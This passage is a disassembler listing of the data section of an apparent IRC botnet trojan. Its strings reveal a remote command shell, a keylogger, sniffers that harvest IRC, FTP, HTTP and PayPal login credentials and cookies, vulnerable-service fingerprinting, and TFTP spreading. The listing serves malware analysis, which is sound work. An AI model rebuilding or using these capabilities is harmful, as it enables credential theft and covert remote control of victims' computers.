a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F80	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433FC4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_43402C	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434074	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_4340B4	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340F8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_434124	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434150	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43418C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_4341B8	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341E4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434380	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_4343B4	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343FC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434424	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434464	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4344A4	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344E4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E54	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E84:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435748
		dd offset off_435744
		dd offset off_435740
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435744o
		dd 3 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EDCo
		align 10h
off_435740	dd offset aUT+2		; DATA XREF: ___:00434ED8o
off_435744	dd offset byte_435249	; DATA XREF: ___:00434ED4o
off_435748	dd offset loc_544F3E+4	; DATA XREF: ___:00434ED0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_4359BC	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359F4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A2C	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A60	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A94	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AF8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
